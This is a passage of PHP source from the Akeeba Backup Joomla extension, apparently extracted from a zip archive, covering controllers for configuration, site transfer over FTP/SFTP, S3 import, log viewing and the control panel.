			$profileRecord->quickicon   = $quickIcon;

			$profileModel->save((array) $profileRecord);
		}

		$this->setRedirect(
			Uri::base() . 'index.php?option=com_akeebabackup&view=Configuration',
			Text::_('COM_AKEEBABACKUP_CONFIG_SAVE_OK')
		);
	}

	/**
	 * Handle the cancel task which doesn't save anything and returns to the Control Panel page
	 */
	public function cancel($cachable = false, $urlparams = [])
	{
		// CSRF prevention
		$this->checkToken();
		$this->setRedirect(Uri::base() . 'index.php?option=com_akeebabackup');
	}

	/**
	 * Runs a custom API call against the selected data processing engine and returns the JSON encoded result
	 */
	public function dpecustomapi($cachable = false, $urlparams = [])
	{
		/** @var ConfigurationModel $model */
		$model = $this->getModel('Configuration', 'Administrator');
		$model->setState('engine', $this->input->get('engine', '', 'raw'));
		$model->setState('method', $this->input->get('method', '', 'raw'));
		$model->setState('params', $this->input->get('params', [], 'raw'));

		$result = $model->dpeCustomAPICall();

		if (is_array($result) && $this->isNumericIndexedArray($result))
		{
			$result = ['list' => $result];
		}

		@ob_end_clean();
		echo '###' . json_encode($result) . '###';
		if (!$this->noFlush)
		{
			flush();
		}

		$this->app->close();
	}

	/**
	 * Runs a custom API call against the selected data processing engine and returns the raw result
	 */
	public function dpecustomapiraw($cachable = false, $urlparams = [])
	{
		/** @var ConfigurationModel $model */
		$model = $this->getModel('Configuration', 'Administrator');
		$model->setState('engine', $this->input->get('engine', '', 'raw'));
		$model->setState('method', $this->input->get('method', '', 'raw'));
		$model->setState('params', $this->input->get('params', [], 'raw'));

		@ob_end_clean();
		echo $model->dpeCustomAPICall();

		if (!$this->noFlush)
		{
			flush();
		}

		$this->app->close();
	}

	/**
	 * Opens an OAuth window for the selected data processing engine
	 */
	public function dpeoauthopen($cachable = false, $urlparams = [])
	{
		/** @var ConfigurationModel $model */
		$model = $this->getModel('Configuration', 'Administrator');
		$model->setState('engine', $this->input->get('engine', '', 'raw'));
		$model->setState('params', $this->input->get('params', [], 'raw'));

		@ob_end_clean();
		$model->dpeOuthOpen();

		if (!$this->noFlush)
		{
			flush();
		}

		$this->app->close();
	}

	public function main($cachable = false, $urlparams = [])
	{
		return parent::display($cachable, $urlparams);
	}

	protected function onBeforeExecute(&$task)
	{
		$this->onBeforeExecuteACL($task);
		$this->onBeforeExecuteRestrictedProfile($task);
	}

	/**
	 * Handle the save task which saves the configuration settings and returns to the Control Panel page
	 */
	public function save($cachable = false, $urlparams = [])
	{
		$this->apply();
		$this->setRedirect(
			Uri::base() . 'index.php?option=com_akeebabackup', Text::_('COM_AKEEBABACKUP_CONFIG_SAVE_OK')
		);
	}

	/**
	 * Handle the save & new task which saves settings, creates a new backup profile, activates it and proceed to the
	 * configuration page once more.
	 */
	public function savenew($cachable = false, $urlparams = [])
	{
		$this->checkToken();

		// Save the current profile
		$this->apply();

		// Create a new profile
		$profileId = Platform::getInstance()->get_active_profile();

		/** @var ProfileModel $profilesModel */
		$profilesModel = $this->getModel('Profile');
		$profile       = $profilesModel->getTable();

		if (!$profile->load($profileId))
		{
			throw new \RuntimeException(sprintf("Profile %u not found.", $profileId), 404);
		}

		// Must unset ID before save. The ID cannot be bound with bind()/save(), hence the need to do it the hard way.
		$profile->id = null;
		$profile
			->save(
				[
					'description' => Text::_('COM_AKEEBABACKUP_CONFIG_SAVENEW_DEFAULT_PROFILE_NAME'),
				]
			);

		// Activate and edit the new profile
		$returnUrl = base64_encode($this->redirect);
		$token     = $this->app->getFormToken();
		$url       = Uri::base() . 'index.php?option=com_akeebabackup&task=SwitchProfile&profileid=' . $profile->getId()
		             .
		             '&returnurl=' . $returnUrl . '&' . $token . '=1';
		$this->setRedirect($url);
	}

	/**
	 * Tests the validity of the FTP connection details
	 */
	public function testftp($cachable = false, $urlparams = [])
	{
		/** @var ConfigurationModel $model */
		$model = $this->getModel('Configuration', 'Administrator');
		$model->setState('isCurl', $this->input->get('isCurl', 0, 'int'));
		$model->setState('host', $this->input->get('host', '', 'raw'));
		$model->setState('port', $this->input->get('port', 21, 'int'));
		$model->setState('user', $this->input->get('user', '', 'raw'));
		$model->setState('pass', $this->input->get('pass', '', 'raw'));
		$model->setState('initdir', $this->input->get('initdir', '', 'raw'));
		$model->setState('usessl', (bool) $this->input->getInt('usessl', 0));
		$model->setState('passive', (bool) $this->input->getInt('passive', 0));
		$model->setState('passive_mode_workaround', (bool) $this->input->getInt('passive_mode_workaround', 0));

		try
		{
			$model->testFTP();
			$testResult = true;
		}
		catch (\RuntimeException $e)
		{
			$testResult = $e->getMessage();
		}

		@ob_end_clean();
		echo '###' . json_encode(
				[
					'status' => $testResult,
				]
			) . '###';

		if (!$this->noFlush)
		{
			flush();
		}

		$this->app->close();
	}

	/**
	 * Tests the validity of the SFTP connection details
	 */
	public function testsftp($cachable = false, $urlparams = [])
	{
		/** @var ConfigurationModel $model */
		$model = $this->getModel('Configuration', 'Administrator');
		$model->setState('isCurl', $this->input->get('isCurl', 0, 'int'));
		$model->setState('host', $this->input->get('host', '', 'raw'));
		$model->setState('port', $this->input->get('port', 21, 'int'));
		$model->setState('user', $this->input->get('user', '', 'raw'));
		$model->setState('pass', $this->input->get('pass', '', 'raw'));
		$model->setState('privkey', $this->input->get('privkey', '', 'path'));
		$model->setState('pubkey', $this->input->get('pubkey', '', 'path'));
		$model->setState('initdir', $this->input->get('initdir', '', 'raw'));

		try
		{
			$model->testSFTP();
			$testResult = true;
		}
		catch (\RuntimeException $e)
		{
			$testResult = $e->getMessage();
		}

		@ob_end_clean();
		echo '###' . json_encode(
				[
					'status' => $testResult,
				]
			) . '###';

		if (!$this->noFlush)
		{
			flush();
		}

		$this->app->close();
	}

	private function isNumericIndexedArray(array $result)
	{
		return array_reduce(
			array_keys($result),
			function (bool $carry, $key) {
				return $carry || (is_numeric($key) && intval($key) == $key);
			},
			false
		);
	}
}PK     \Yt!  !  %  src/Controller/TransferController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Controller;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerCustomACLTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerRegisterTasksTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerReusableModelsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\Exceptions\TransferIgnorableError;
use Akeeba\Component\AkeebaBackup\Administrator\Model\TransferModel;
use Exception;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\Router\Route;
use Joomla\Input\Input;

class TransferController extends \Joomla\CMS\MVC\Controller\BaseController
{
	use ControllerEventsTrait;
	use ControllerCustomACLTrait;
	use ControllerReusableModelsTrait;
	use ControllerRegisterTasksTrait;

	public function __construct($config = [], ?MVCFactoryInterface $factory = null, ?CMSApplication $app = null, ?Input $input = null)
	{
		parent::__construct($config, $factory, $app, $input);

		$this->registerControllerTasks('main');
	}

	public function main()
	{
		$force   = $this->input->getInt('force', 0);
		$session = $this->app->getSession();

		/**
		 * Decide which backup record the wizard should transfer.
		 *
		 * - If a specific backup record is selected (e.g. the Transfer button in the Manage Backups page submits the
		 *   selected record as `cid[]`, or an `id` is passed directly) we use that backup record, regardless of its age.
		 * - If we are NOT forcing a reload and no record was selected (e.g. entering the wizard from the menu) we reset
		 *   to the latest backup.
		 * - When forcing a reload (the “force” links inside the wizard) we keep whatever backup was already selected.
		 */
		$backupId = $this->getSelectedBackupId();

		if ($backupId !== null)
		{
			$session->set('akeebabackup.transfer.backupId', max(0, $backupId));
		}
		elseif (!$force)
		{
			$session->set('akeebabackup.transfer.backupId', 0);
		}

		$view        = $this->getView();
		$view->force = $force;

		$this->display(false);
	}

	/**
	 * Get the backup record ID explicitly selected for transfer, or NULL if none was selected.
	 *
	 * It reads the record selected in the Manage Backups page (submitted as the `cid[]` array by the toolbar button)
	 * or, as a fallback, a backup record ID passed directly through the `id` request variable.
	 *
	 * @return  int|null
	 * @since   10.3.6
	 */
	private function getSelectedBackupId(): ?int
	{
		$cid = $this->input->get('cid', [], 'array');

		if (is_array($cid) && !empty($cid))
		{
			return (int) array_shift($cid);
		}

		$id = $this->input->get('id', null, 'int');

		return $id === null ? null : (int) $id;
	}

	/**
	 * Reset the wizard
	 *
	 * @return  void
	 */
	public function reset()
	{
		$session = $this->app->getSession();

		$session->set('akeebabackup.transfer', null);
		$session->set('akeebabackup.transfer.backupId', null);
		$session->set('akeebabackup.transfer.url', null);
		$session->set('akeebabackup.transfer.url_status', null);
		$session->set('akeebabackup.transfer.ftpsupport', null);

		/** @var TransferModel $model */
		$model = $this->getModel();
		$model->resetUpload();

		$this->setRedirect(Route::_('index.php?option=com_akeebabackup&view=Transfer', false));
	}

	/**
	 * Cleans and checks the validity of the new site's URL
	 *
	 * @return  void
	 */
	public function checkUrl()
	{
		$session = $this->app->getSession();

		$url = $this->input->get('url', '', 'raw');

		/** @var TransferModel $model */
		$model  = $this->getModel();
		$result = $model->checkAndCleanUrl($url);

		$session->set('akeebabackup.transfer.url', $result['url']);
		$session->set('akeebabackup.transfer.url_status', $result['status']);

		@ob_end_clean();
		echo '###' . json_encode($result) . '###';

		$this->app->close();
	}

	/**
	 * Applies the FTP/SFTP connection information and makes some preliminary validation
	 *
	 * @return  void
	 */
	public function applyConnection()
	{
		$session = $this->app->getSession();

		$result = (object) [
			'status'    => true,
			'message'   => '',
			'ignorable' => false,
		];

		// Get the parameters from the request
		$transferOption = $this->input->getCmd('method', 'ftp');
		$force          = $this->input->getInt('force', 0);
		$ftpHost        = $this->input->get('host', '', 'raw');
		$ftpPort        = $this->input->getInt('port', null);
		$ftpUsername    = $this->input->get('username', '', 'raw');
		$ftpPassword    = $this->input->get('password', '', 'raw');
		$ftpPubKey      = $this->input->get('publicKey', '', 'raw');
		$ftpPrivateKey  = $this->input->get('privateKey', '', 'raw');
		$ftpPassive     = $this->input->getInt('passive', 1);
		$ftpPassiveFix  = $this->input->getInt('passive_fix', 1);
		$ftpDirectory   = $this->input->get('directory', '', 'raw');
		$chunkMode      = $this->input->getCmd('chunkMode', 'chunked');
		$chunkSize      = $this->input->getInt('chunkSize', '5242880');

		// Fix the port if it's missing
		if (empty($ftpPort))
		{
			switch ($transferOption)
			{
				case 'ftp':
				case 'ftpcurl':
					$ftpPort = 21;
					break;

				case 'ftps':
				case 'ftpscurl':
					$ftpPort = 990;
					break;

				case 'sftp':
				case 'sftpcurl':
					$ftpPort = 22;
					break;
			}
		}

		// Store everything in the session
		$session->set('akeebabackup.transfer.transferOption', $transferOption);
		$session->set('akeebabackup.transfer.force', $force);
		$session->set('akeebabackup.transfer.ftpHost', $ftpHost);
		$session->set('akeebabackup.transfer.ftpPort', $ftpPort);
		$session->set('akeebabackup.transfer.ftpUsername', $ftpUsername);
		$session->set('akeebabackup.transfer.ftpPassword', $ftpPassword);
		$session->set('akeebabackup.transfer.ftpPubKey', $ftpPubKey);
		$session->set('akeebabackup.transfer.ftpPrivateKey', $ftpPrivateKey);
		$session->set('akeebabackup.transfer.ftpDirectory', $ftpDirectory);
		$session->set('akeebabackup.transfer.ftpPassive', $ftpPassive ? 1 : 0);
		$session->set('akeebabackup.transfer.ftpPassiveFix', $ftpPassiveFix ? 1 : 0);
		$session->set('akeebabackup.transfer.chunkMode', $chunkMode);
		$session->set('akeebabackup.transfer.chunkSize', $chunkSize);

		/** @var TransferModel $model */
		$model = $this->getModel();

		try
		{
			$config = $model->getFtpConfig();
			$model->testConnection($config);
		}
		catch (TransferIgnorableError $e)
		{
			$result = (object) [
				'status'    => false,
				'ignorable' => true,
				'message'   => $e->getMessage(),
			];
		}
		catch (Exception $e)
		{
			$result = (object) [
				'status'    => false,
				'message'   => $e->getMessage(),
				'ignorable' => false,
			];
		}

		@ob_end_clean();

		echo '###' . json_encode($result) . '###';

		$this->app->close();
	}

	/**
	 * Initialise the upload: sends Kickstart and our add-on script to the remote server
	 *
	 * @return  void
	 */
	public function initialiseUpload()
	{
		$result = (object) [
			'status'    => true,
			'message'   => '',
			'ignorable' => false,
		];

		/** @var TransferModel $model */
		$model = $this->getModel();

		try
		{
			$config = $model->getFtpConfig();
			$model->initialiseUpload($config);
		}
		catch (TransferIgnorableError $e)
		{
			$result = (object) [
				'status'    => false,
				'message'   => $e->getMessage(),
				'ignorable' => true,
			];
		}
		catch (Exception $e)
		{
			$result = (object) [
				'status'    => false,
				'message'   => $e->getMessage(),
				'ignorable' => false,
			];
		}

		@ob_end_clean();

		echo '###' . json_encode($result) . '###';

		$this->app->close();
	}

	/**
	 * Perform an upload step. Pass start=1 to reset the upload and start over.
	 *
	 * @return  void
	 */
	public function upload()
	{
		/** @var TransferModel $model */
		$model = $this->getModel();

		if ($this->input->getBool('start', false))
		{
			$model->resetUpload();
		}

		try
		{
			$config       = $model->getFtpConfig();
			$uploadResult = $model->uploadChunk($config);
		}
		catch (Exception $e)
		{
			$uploadResult = (object) [
				'status'    => false,
				'message'   => $e->getMessage(),
				'totalSize' => 0,
				'doneSize'  => 0,
				'done'      => false,
			];
		}

		$result = (object) $uploadResult;

		@ob_end_clean();

		echo '###' . json_encode($result) . '###';

		$this->app->close();
	}
}PK     \R4    %  src/Controller/S3importController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Controller;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerCustomACLTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerRegisterTasksTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerReusableModelsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\S3importModel;
use Akeeba\Engine\Factory;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\Router\Route;
use Joomla\Input\Input;
use RuntimeException;

class S3importController extends BaseController
{
	use ControllerEventsTrait;
	use ControllerCustomACLTrait;
	use ControllerRegisterTasksTrait;
	use ControllerReusableModelsTrait;

	public function __construct($config = [], ?MVCFactoryInterface $factory = null, ?CMSApplication $app = null, ?Input $input = null)
	{
		parent::__construct($config, $factory, $app, $input);

		$this->registerControllerTasks('main');
	}

	public function main()
	{
		$s3bucket = $this->input->getRaw('s3bucket', null);

		/** @var S3importModel $model */
		$model = $this->getModel('S3import', 'Administrator');

		if ($s3bucket)
		{
			$model->setState('s3bucket', $s3bucket);
		}

		$this->getS3Credentials();
		$model->setS3Credentials($model->getState('s3access'), $model->getState('s3secret'));

		$this->display(false);
	}

	/**
	 * Fetches a complete backup set from a remote storage location to the local (server)
	 * storage so that the user can download or restore it.
	 */
	public function dltoserver()
	{
		$s3bucket = $this->input->getRaw('s3bucket', null);

		// Get the parameters
		/** @var S3importModel $model */
		$model = $this->getModel();

		if ($s3bucket)
		{
			$model->setState('s3bucket', $s3bucket);
		}

		$this->getS3Credentials();
		$model->setS3Credentials($model->getState('s3access'), $model->getState('s3secret'));

		$part    = $this->input->getInt('part', -999);
		$session = $this->app->getSession();

		if ($part >= -1)
		{
			$session->set('com_akeebabackup.s3import.part', $part);
		}

		$frag = $this->input->getInt('frag', -999);

		if ($frag >= -1)
		{
			$session->set('com_akeebabackup.s3import.frag', $frag);
		}

		$step = $this->input->getInt('step', -999);

		if ($step >= -1)
		{
			$session->set('com_akeebabackup.s3import.step', $step);
		}

		$errorMessage = '';

		// These are only used to trigger the event required for the actionlog plugin
		$bucket = $model->getState('s3bucket', '');
		$folder = $model->getState('folder', '');
		$file   = $model->getState('file', '');

		try
		{
			$result = $model->downloadToServer();
		}
		catch (RuntimeException $e)
		{
			$result       = -1;
			$errorMessage = $e->getMessage();
		}

		if ($result === false)
		{
			// Part(s) downloaded successfully. Render the view.
			$this->display(false);
		}
		elseif ($result === -1)
		{
			// Part did not download. Redirect to initial page with an error.
			$this->setRedirect(Route::_('index.php?option=com_akeebabackup&view=S3import', false), $errorMessage, 'error');
		}
		else
		{
			$this->triggerEvent('onSuccessfulImport', [
				$bucket,
				$folder,
				$file,
			]);

			// All done. Redirect to intial page with a success message.
			$this->setRedirect(Route::_('index.php?option=com_akeebabackup&view=S3import', false), Text::_('COM_AKEEBABACKUP_S3IMPORT_MSG_IMPORTCOMPLETE'));
		}
	}

	/**
	 * Populate the S3 connection credentials from the request
	 *
	 * @return  void
	 * @since   9.0.0
	 */
	public function getS3Credentials()
	{
		$config         = Factory::getConfiguration();
		$defS3AccessKey = $config->get('engine.postproc.s3.accesskey', '');
		$defS3SecretKey = $config->get('engine.postproc.s3.privatekey', '');

		$accessKey = $this->app->getUserStateFromRequest('com_akeebabackup.s3access', 's3access', $defS3AccessKey, 'raw');
		$secretKey = $this->app->getUserStateFromRequest('com_akeebabackup.s3secret', 's3secret', $defS3SecretKey, 'raw');
		$bucket    = $this->app->getUserStateFromRequest('com_akeebabackup.bucket', 's3bucket', '', 'raw');
		$folder    = $this->app->getUserStateFromRequest('com_akeebabackup.folder', 'folder', '', 'raw');
		$file      = $this->app->getUserStateFromRequest('com_akeebabackup.file', 'file', '', 'raw');
		$part      = $this->app->getUserStateFromRequest('com_akeebabackup.s3import.part', 'part', -1, 'int');
		$frag      = $this->app->getUserStateFromRequest('com_akeebabackup.s3import.frag', 'frag', -1, 'int');

		/** @var S3importModel $model */
		$model = $this->getModel('S3import', 'Administrator');

		$model->setState('s3access', $accessKey);
		$model->setState('s3secret', $secretKey);
		$model->setState('s3bucket', $bucket);
		$model->setState('folder', $folder);
		$model->setState('file', $file);
		$model->setState('part', $part);
		$model->setState('frag', $frag);

		// We need to do that to prime the model state with the region of the requested S3 bucket
		/** @noinspection PhpUnusedLocalVariableInspection */
		$region = $model->getBucketRegion($bucket);
	}

}PK     \L\       src/Controller/LogController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Controller;

defined('_JEXEC') or die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerCustomACLTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerRegisterTasksTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerReusableModelsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\LogModel;
use Akeeba\Engine\Platform;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\Input\Input;

class LogController extends BaseController
{
	use ControllerEventsTrait;
	use ControllerCustomACLTrait
	{
		onBeforeExecute as onCustomACLBeforeExecute;
	}
	use ControllerRegisterTasksTrait;
	use ControllerReusableModelsTrait;

	private bool $noFlush = false;

	public function __construct(
		$config = [], ?MVCFactoryInterface $factory = null, ?CMSApplication $app = null, ?Input $input = null
	)
	{
		parent::__construct($config, $factory, $app, $input);

		$this->noFlush = ComponentHelper::getParams('com_akeebabackup')->get('no_flush', 0) == 1;

		$this->registerControllerTasks('main');
	}

	/**
	 * Display the log page
	 *
	 * @return  void
	 */
	public function onBeforeMain()
	{
		$tag    = $this->input->get('tag', null, 'cmd');
		$latest = $this->input->get('latest', false, 'int');

		if (empty($tag))
		{
			$tag = null;
		}

		/** @var LogModel $model */
		$model = $this->getModel('Log', 'Administrator');

		if ($latest)
		{
			$logFiles = $model->getLogFiles();
			$tag      = array_shift($logFiles);
		}

		$model->setState('tag', $tag);

		Platform::getInstance()->load_configuration(Platform::getInstance()->get_active_profile());
	}

	/**
	 * Renders the contents of the log, used inside the IFRAME of the log page
	 *
	 * @return  void
	 */
	public function iframe()
	{
		$tag = $this->input->get('tag', null, 'cmd');

		if (empty($tag))
		{
			$tag = null;
		}

		/** @var LogModel $model */
		$model = $this->getModel('Log', 'Administrator');
		$model->setState('tag', $tag);

		Platform::getInstance()->load_configuration(Platform::getInstance()->get_active_profile());

		$this->display();
	}

	/**
	 * Download the log file as a text file
	 *
	 * @return  void
	 */
	public function download()
	{
		Platform::getInstance()->load_configuration(Platform::getInstance()->get_active_profile());

		$tag = $this->input->get('tag', null, 'cmd');

		if (empty($tag))
		{
			$tag = null;
		}

		$this->triggerEvent('onDownload', [$tag]);

		$asAttachment = $this->input->getBool('attachment', true);

		@ob_end_clean(); // In case some braindead plugin spits its own HTML
		header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
		header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); // Date in the past
		header("Content-Description: File Transfer");
		header('Content-Type: text/plain');

		if ($asAttachment)
		{
			header('Content-Disposition: attachment; filename="Akeeba Backup Debug Log.txt"');
		}

		/** @var LogModel $model */
		$model = $this->getModel('Log', 'Administrator');
		$model->setState('tag', $tag);
		$model->echoRawLog();

		if (!$this->noFlush)
		{
			flush();
		}

		$this->app->close();
	}

	public function inlineRaw()
	{
		Platform::getInstance()->load_configuration(Platform::getInstance()->get_active_profile());

		$tag = $this->input->get('tag', null, 'cmd');

		if (empty($tag))
		{
			$tag = null;
		}

		/** @var LogModel $model */
		$model = $this->getModel('Log', 'Administrator');
		$model->setState('tag', $tag);
		echo "<pre>";
		$model->echoRawLog();
		echo "</pre>";
	}

	protected function onBeforeExecute(&$task)
	{
		$this->akeebaBackupACLCheck($this->getName(), $task);

		$profileId = $this->input->getInt('profileid', null);

		if (!empty($profileId) && is_numeric($profileId) && ($profileId > 0))
		{
			$this->app->getSession()->set('akeebabackup.profile', $profileId);
		}
	}
}PK     \m~$  $  )  src/Controller/ControlpanelController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Controller;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Helper\Utils;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerCustomACLTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerRegisterTasksTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerReusableModelsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\BackupModel;
use Akeeba\Component\AkeebaBackup\Administrator\Model\ConfigurationwizardModel;
use Akeeba\Component\AkeebaBackup\Administrator\Model\ControlpanelModel;
use Akeeba\Component\AkeebaBackup\Administrator\Model\IncludefoldersModel;
use Akeeba\Component\AkeebaBackup\Administrator\Model\UpdatesModel;
use Akeeba\Component\AkeebaBackup\Administrator\Model\UpgradeModel;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Util\RandomValue;
use Exception;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory as JoomlaFactory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\Uri\Uri;
use Joomla\Input\Input;
use RuntimeException;

class ControlpanelController extends BaseController
{
	use ControllerEventsTrait;
	use ControllerCustomACLTrait;
	use ControllerRegisterTasksTrait;
	use ControllerReusableModelsTrait;

	/**
	 * The default view.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $default_view = 'Controlpanel';

	public function __construct($config = [], ?MVCFactoryInterface $factory = null, ?CMSApplication $app = null, ?Input $input = null)
	{
		parent::__construct($config, $factory, $app, $input);

		$this->registerControllerTasks('main');
	}

	public function main($cachable = false, $urlparams = [])
	{
		/** @var ControlpanelModel $model */
		$model = $this->getModel('Controlpanel', 'Administrator');

		// Invalidate stale backups
		$params = ComponentHelper::getParams('com_akeebabackup');

		try
		{
			Factory::resetState([
				'global' => true,
				'log'    => false,
				'maxrun' => $params->get('failure_timeout', 180),
			]);
		}
		catch (Exception $e)
		{
			// This will die if the output directory is invalid. Let it die, then.
		}

		// Just in case the reset() loaded a stale configuration...
		Platform::getInstance()->load_configuration();
		Platform::getInstance()->apply_quirk_definitions();

		// Let's make sure the temporary and output directories are set correctly and writable...
		/** @var ConfigurationwizardModel $wizmodel */
		$wizmodel = $this->getModel('Configurationwizard', 'Administrator');
		$wizmodel->autofixDirectories();

		// Rebase Off-site Folder Inclusion filters to use site path variables
		/** @var IncludefoldersModel $incFoldersModel */
		$incFoldersModel = $this->getModel('Includefolders', 'Administrator');

		if (is_object($incFoldersModel) && method_exists($incFoldersModel, 'rebaseFiltersToSiteDirs'))
		{
			$incFoldersModel->rebaseFiltersToSiteDirs();
		}

		// Check if we need to toggle the settings encryption feature
		$model->checkSettingsEncryption();
		$model->updateMagicParameters($this->app->bootComponent('com_akeebabackup')->getComponentParametersService());

		// Convert existing log files to the new .log.php format
		/** @var BackupModel $backupModel */
		$backupModel = $this->getModel('Backup', 'Administrator');
		$backupModel->convertLogFiles();

		// Run the automatic update site refresh
		/** @var UpdatesModel $updateModel */
		$updateModel = $this->getModel('Updates', 'Administrator');
		$updateModel->refreshUpdateSite();

		// Push the update model to the HTML view
		$this->getView()->setModel($updateModel, false);

		// Make sure all of my extensions are assigned to my package.
		/** @var UpgradeModel $upgradeModel */
		$upgradeModel = $this->getModel('Upgrade', 'Administrator');
		$upgradeModel->init();
		$upgradeModel->adoptMyExtensions();

		// Push the upgrade model to the HTML view
		$this->getView()->setModel($upgradeModel, false);

		// Push the usage statistics model into the HTML view
		$usagestatsModel = $this->getModel('Usagestats');
		$this->getView()->setModel($usagestatsModel, false);

		// Push the Push model into the view
		$pushModel = $this->getModel('Push');
		$this->getView()->setModel($pushModel, false);

		return parent::display($cachable, $urlparams);
	}

	public function SwitchProfile($cachable = false, $urlparams = [])
	{
		// CSRF prevention
		$this->checkToken('request');

		$newProfile = $this->input->get('profileid', -10, 'int');

		if (!is_numeric($newProfile) || ($newProfile <= 0))
		{
			$this->setRedirect(Uri::base() . 'index.php?option=com_akeebabackup', Text::_('COM_AKEEBABACKUP_CPANEL_PROFILE_SWITCH_ERROR'), 'error');

			return;
		}

		JoomlaFactory::getApplication()->getSession()->set('akeebabackup.profile', $newProfile);
		$returnurl = $this->input->get('returnurl', '', 'base64');
		$url       = Utils::safeDecodeReturnUrl($returnurl);

		if (empty($url))
		{
			$url = 'index.php?option=com_akeebabackup';
		}

		if ((strpos($url, 'http://') === false) && (strpos($url, 'https://') === false))
		{
			$url = Uri::base() . ltrim($url, '/');
		}

		$this->setRedirect($url, Text::_('COM_AKEEBABACKUP_CPANEL_PROFILE_SWITCH_OK'));
	}

	/**
	 * Reset the Secret Word for front-end and remote backup
	 *
	 * @return  void
	 */
	public function resetSecretWord($cachable = false, $urlparams = [])
	{
		// CSRF prevention
		$this->checkToken('request');

		$newSecret = JoomlaFactory::getApplication()->getSession()->get('akeebabackup.cpanel.newSecretWord', null);

		if (empty($newSecret))
		{
			$random    = new RandomValue();
			$newSecret = $random->generateString(32);
			JoomlaFactory::getApplication()->getSession()->set('akeebabackup.cpanel.newSecretWord', $newSecret);
		}

		$params = ComponentHelper::getParams('com_akeebabackup');

		$params->set('frontend_secret_word', $newSecret);

		$this->app->bootComponent('com_akeebabackup')
		          ->getComponentParametersService()
		          ->save($params);

		JoomlaFactory::getApplication()->getSession()->set('akeebabackup.cpanel.newSecretWord', null);

		$msg = Text::sprintf('COM_AKEEBABACKUP_CPANEL_MSG_FESECRETWORD_RESET', $newSecret);

		$url = Uri::base() . 'index.php?option=com_akeebabackup';
		$this->setRedirect($url, $msg);
	}

	/**
	 * Check the security of the backup output directory and return the results for consumption through AJAX
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 *
	 * @since   7.0.3
	 */
	public function checkOutputDirectory($cachable = false, $urlparams = [])
	{
		/** @var ControlpanelModel $model */
		$model  = $this->getModel('Controlpanel', 'Administrator');
		$outDir = $model->getOutputDirectory();

		try
		{
			$result = $model->getOutputDirectoryWebAccessibleState($outDir);
		}
		catch (RuntimeException $e)
		{
			$result = [
				'readFile'   => false,
				'listFolder' => false,
				'isSystem'   => $model->isOutputDirectoryInSystemFolder(),
				'hasRandom'  => $model->backupFilenameHasRandom(),
			];
		}

		@ob_end_clean();

		echo '###' . json_encode($result) . '###';

		JoomlaFactory::getApplication()->close();
	}

	/**
	 * Add security files to the output directory of the currently configured backup profile
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 *
	 * @since   7.0.3
	 */
	public function fixOutputDirectory($cachable = false, $urlparams = [])
	{
		// CSRF prevention
		$this->checkToken();

		/** @var ControlpanelModel $model */
		$model  = $this->getModel('Controlpanel', 'Administrator');
		$outDir = $model->getOutputDirectory();

		$fsUtils = Factory::getFilesystemTools();
		$fsUtils->ensureNoAccess($outDir, true);

		$this->setRedirect(Uri::base() . 'index.php?option=com_akeebabackup');
	}

	/**
	 * Adds the [RANDOM] variable to the backup output filename, save the configuration and reload the Control Panel.
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 *
